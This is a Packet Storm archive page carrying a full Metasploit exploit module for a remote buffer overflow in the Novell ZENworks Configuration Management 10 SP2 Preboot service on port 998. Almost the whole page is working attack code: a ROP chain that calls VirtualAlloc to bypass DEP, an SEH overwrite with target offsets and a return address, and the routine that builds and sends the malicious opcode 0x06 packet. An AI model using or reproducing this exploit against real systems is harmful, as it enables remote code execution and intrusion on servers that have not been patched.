what you don't know can hurt you

Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow

Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow
Posted Jul 19, 2012
Authored by Stephen Fewer, juan | Site metasploit.com

This Metasploit module exploits a remote buffer overflow in the ZENworks Configuration Management 10 SP2. The vulnerability exists in the Preboot service and can be triggered by sending a specially crafted packet with the opcode 0x06 (PROXY_CMD_CLEAR_WS) to the 998/TCP port. The module has been successfully tested on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2 (DEP bypass).

tags | exploit, remote, overflow, tcp
systems | windows
advisories | OSVDB-65361
MD5 | f34f24fcc433e4b088d9cd6e4754435b

Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow in the ZENworks Configuration
Management 10 SP2. The vulnerability exists in the Preboot service and can be
triggered by sending a specially crafted packet with the opcode 0x06
(PROXY_CMD_CLEAR_WS) to the 998/TCP port. The module has been successfully tested
on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
(DEP bypass).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephen Fewer', # Vulnerability Discovery
'juan' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '65361' ],
[ 'BID', '40486' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'BadChars' => "",
'Space'=> 954,
'DisableNops' => true,
'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
{
'Offset' => 1084,
'OffsetBottomStack' => 1119,
'OffsetRop' => 24,
'Ret' => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 30 2010',
'DefaultTarget' => 0))

register_options([Opt::RPORT(998)], self.class)
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

# rop chain generated with mona.py
def create_rop_chain()
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")

return rop_gadgets
end


def exploit
connect

buf = rand_text(target['OffsetRop'])
buf << create_rop_chain
buf << payload.encoded
buf << rand_text(target['Offset'] - buf.length)
buf << generate_seh_record(target.ret)
buf << rand_text(target['OffsetBottomStack'] - buf.length)

packet = [0x6].pack("N") # Opcode # PROXY_CMD_CLEAR_WS
packet << [buf.length].pack("N") # Length
packet << buf # Value
sock.put(packet)

disconnect
end
end
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    3 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    33 Files
  • 26
    Oct 26th
    27 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close